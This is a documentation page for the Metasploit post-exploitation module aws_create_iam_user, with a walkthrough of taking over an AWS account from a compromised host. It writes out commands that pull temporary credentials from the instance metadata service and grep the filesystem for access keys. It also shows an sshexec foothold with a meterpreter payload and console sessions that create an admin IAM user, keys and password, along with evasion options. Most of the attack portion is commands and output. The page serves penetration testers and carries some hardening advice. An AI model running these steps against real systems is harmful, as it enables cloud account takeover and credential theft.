Create an AWS IAM User - Metasploit
This page contains detailed information about how to use the post/multi/escalate/aws_create_iam_user metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Knowledge Base
- Introduction
- Background
- Instance Profiles
- Privileges
- Metadata Service
- Usage
- Establish a foothold
- Options
- Abusing an Overly Permissive Instance Profile
- Abusing API Access Keys
- Next Steps
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Create an AWS IAM User
Module: post/multi/escalate/aws_create_iam_user
Source code: modules/post/multi/escalate/aws_create_iam_user.rb
Disclosure date: -
Last modification time: 2021-11-22 14:11:03 +0000
Supported architecture(s): -
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 443
List of CVEs: -
This module will attempt to create an AWS (Amazon Web Services) IAM (Identity and Access Management) user with Admin privileges.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/escalate/aws_create_iam_user
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > show options
... show and set options ...
msf post(aws_create_iam_user) > set SESSION session-id
msf post(aws_create_iam_user) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/escalate/aws_create_iam_user")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
SESSION: The session to run this module on.
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
aws_create_iam_user
is a simple post module that can be used to take over AWS
accounts. Sure, it is fun enough to take over a single host, but you can own all
hosts in the account if you simply create an admin user.
Background
Instance Profiles
An Instance Profile is an AWS construct that maps a role to a host (instance). Not all hosts have instance profiles and/or may have restricted privileges. AWS roles are composed of policies which specify API calls that the host is allowed to make.
Privileges
This module depends on administrators being lazy and not using the least
privileges possible. We often see instances assigned *.*
roles that allow
any user on the instance to make any API call including creating admin users.
When this occours, a user with long lived credentials can be created and calls
against the AWS API can be made from anywhere on the Internet. Once an account
is taken over in this manner instances can be spun up, other users can be locked
out, networks can be traversed, and many other dangeous things can happen.
Only on rare cases should hosts have the following privileges, these should be restriced.
- iam:CreateUser
- iam:CreateGroup
- iam:PutGroupPolicy
- iam:AddUserToGroup
- iam:CreateAccessKey
This module will attempt all API calls listed above in sequence. Account takeover may succeed even if intermediate API calls fail. E.g., we may not be able to create a new user, but we may be able to create access keys for an existing user.
Metadata Service
The metadata service is a mechanism the AWS hypervisor employs to pass information down into hosts. Any AWS host can retrieve information about itself and its environemtn by curling http://169.254.169.254/. This mechanism is also used to pass temporary credentials to a host. This module pulls these temporary credentials and attempts to create a user with admin privileges.
To manually check that a host has an instance profile you can simply curl the metadata service like so:
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
SOME_ROLE_NAME
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
{
"Code" : "Success",
"LastUpdated" : "2016-12-07T18:36:48Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA
...
Usage
aws_create_iam_user can be used to take over an AWS account given access to
a host having 1). overly permissive instance profile/role, 2). API Access keys.
Once a foothold is established, you can run the module to pull temporary
access keys from the metadata service. If this fails, search the instance for
API access keys, e.g., see ~/.aws/credentials, and set AccessKeyId
,
SecretAccessKey
, & Token
(optional).
Establish a foothold
You first need a foothold in AWS, e.g., here we use sshexec
to get the
foothold and launch a meterpreter session.
$ ./msfconsole
...
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set password some_user
password => some_user
msf exploit(sshexec) > set username some_user
username => some_user
msf exploit(sshexec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(sshexec) > exploit -j
[*] Exploit running as background job.
[*] Started bind handler
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Command Stager progress - 42.09% done (306/727 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
We will be using session 1.
msf exploit(sshexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)
Options
By default the module will:
- create a randomly named IAM user and group
- generate API Keys and User password for after
In the event that the session'd AWS instance does not have an IAM role assigned to it with sufficient privileges, the following options can be used to provide specific authentication material:
AccessKeyId
: set this if you find access keys on the host and instance has no profile/privilegesSecretAccessKey
: set this if you find access keys on the host and instance has no profile/privilegesToken
: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
The following options control the account that is being created:
IAM_USERNAME
: set this if you would like to control the username for to user to be createdIAM_PASSWORD
: set this if you would like to control the password for the created userCREATE_API
: when true, creates API keys for this userCREATE_CONSOLE
: when true, creates a password for this user so that they can access the AWS console
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > show options
Module options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
Abusing an Overly Permissive Instance Profile
Here we are assuming that we have taken over a host having an instance profile with
overly permissive access. Once a session is established, we can load
aws_create_iam_user
and specify a meterpreter sesssion,
e.g., SESSION 1
and run the exploit.
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit
[*] 169.254.169.254 - looking for creds...
[*] Creating user: gavgpsjXwj5HIxiz
[*] Creating group: gavgpsjXwj5HIxiz
[*] Creating group policy: gavgpsjXwj5HIxiz
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
[*] Creating API Keys for gavgpsjXwj5HIxiz
[*] Creating password for gavgpsjXwj5HIxiz
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
If the host does not have an instance profile or the right access, the output will look like so:
[*] 169.254.169.254 - looking for creds...
[*] Creating user: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
[*] Creating group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
[*] Creating group policy: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
[*] Creating API Keys for 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
[*] Post module execution completed
Abusing API Access Keys
In the case that the host we have taken over has no instance profile or does not
have the required privileges, we can search the host for access keys with
something like grep -r AKIA /
. These keys may have admin privileges at which
point you own the account, if not we may be able to escalate privileges.
We can set AccessKeyId
, SecretAccessKey
, & Token
(optional) and rerun
the exploit to test this possibility.
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > run
[*] 169.254.169.254 - looking for creds...
[*] Creating user: bZWsmzyupDWxe8CT
[*] Creating group: bZWsmzyupDWxe8CT
[*] Creating group policy: bZWsmzyupDWxe8CT
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
[*] Creating API Keys for bZWsmzyupDWxe8CT
[*] Creating password for bZWsmzyupDWxe8CT
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
[*] Post module execution completed
Next Steps
Information necessary to use the created account is printed to the screen and stored in loot:
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
{
"UserName": "As56ekIV59OgoFOj",
"GroupName": "As56ekIV59OgoFOj",
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
"Password": "As56ekIV59OgoFOj",
"AccountId": "xxx"
These creds can be used to call the AWS API directly or you can login using the console.
Configuring the CLI:
$ aws configure --profile test
AWS Access Key ID [None]: AKIA...
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
Default region name [None]: us-west-2
Default output format [None]: json
Call the API, e.g., get the Account ID:
$ aws iam --profile test list-account-aliases
{
"AccountAliases": [
"Account_ID"
]
}
Login via the console using the username and password:
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
Go back to menu.
Msfconsole Usage
Here is how the multi/escalate/aws_create_iam_user post exploitation module looks in the msfconsole:
msf6 > use post/multi/escalate/aws_create_iam_user
msf6 post(multi/escalate/aws_create_iam_user) > show info
Name: Create an AWS IAM User
Module: post/multi/escalate/aws_create_iam_user
Platform: Unix
Arch:
Rank: Normal
Provided by:
Javier Godinez <[email protected]>
Jon Hart <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS iam.amazonaws.com yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
Description:
This module will attempt to create an AWS (Amazon Web Services) IAM
(Identity and Access Management) user with Admin privileges.
References:
https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf
Module Options
This is a complete list of options available in the multi/escalate/aws_create_iam_user post exploitation module:
msf6 post(multi/escalate/aws_create_iam_user) > show options
Module options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS iam.amazonaws.com yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
Advanced Options
Here is a complete list of advanced options supported by the multi/escalate/aws_create_iam_user post exploitation module:
msf6 post(multi/escalate/aws_create_iam_user) > show advanced
Module advanced options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
IAM_GROUP_POL {"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": " yes IAM group policy to use
*", "Resource": "*" }]}
METADATA_IP 169.254.169.254 yes The metadata service IP
RHOST iam.amazonaws.com yes AWS IAM Endpoint
RPORT 443 yes AWS IAM Endpoint TCP Port
Region us-east-1 yes The default region
SSL true yes AWS IAM Endpoint SSL
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS
1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/escalate/aws_create_iam_user module can do:
msf6 post(multi/escalate/aws_create_iam_user) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/escalate/aws_create_iam_user post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/escalate/aws_create_iam_user) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Must set one or both of CREATE_API and CREATE_CONSOLE
Here is a relevant code snippet related to the "Must set one or both of CREATE_API and CREATE_CONSOLE" error message:
56: deregister_options('VHOST')
57: end
58:
59: def setup
60: if !(datastore['CREATE_API'] || datastore['CREATE_CONSOLE'])
61: fail_with(Failure::BadConfig, "Must set one or both of CREATE_API and CREATE_CONSOLE")
62: end
63: end
64:
65: def run
66: # setup creds for making IAM API calls
Could not find creds
Here is a relevant code snippet related to the "Could not find creds" error message:
65: def run
66: # setup creds for making IAM API calls
67: creds = metadata_creds
68: if datastore['AccessKeyId'].empty?
69: unless creds.include?('AccessKeyId')
70: print_error("Could not find creds")
71: return
72: end
73: else
74: creds = {
75: 'AccessKeyId' => datastore['AccessKeyId'],
Could not parse JSON output
Here is a relevant code snippet related to the "Could not parse JSON output" error message:
171: resp = cmd_exec("curl #{url}iam/security-credentials/")
172: json_out = cmd_exec("curl #{url}iam/security-credentials/#{resp}")
173: begin
174: return JSON.parse(json_out)
175: rescue JSON::ParserError
176: print_error "Could not parse JSON output"
177: end
178: end
179: end
180: else
181: print_error cmd_out
Go back to menu.
Related Pull Requests
- #13540 Merged Pull Request: Change OptString of RPORT to OptPort
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7682 Merged Pull Request: Added options for group name and password to aws_create_iam_user module
- #7604 Merged Pull Request: Creates an AWS IAM User from pwned AWS host
References
- CVE: Not available
- https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf
See Also
Check also the following modules related to this module:
- auxiliary/admin/aws/aws_launch_instances
- auxiliary/cloud/aws/enum_ec2
- auxiliary/cloud/aws/enum_iam
- auxiliary/cloud/aws/enum_s3
- auxiliary/scanner/http/yaws_traversal
- exploit/unix/webapp/awstats_configdir_exec
- exploit/unix/webapp/awstats_migrate_exec
- exploit/unix/webapp/awstatstotals_multisort
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/escalate/cups_root_file_read
- post/multi/escalate/metasploit_pcaplog
Authors
- Javier Godinez <godinezj[at]gmail.com>
- Jon Hart <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.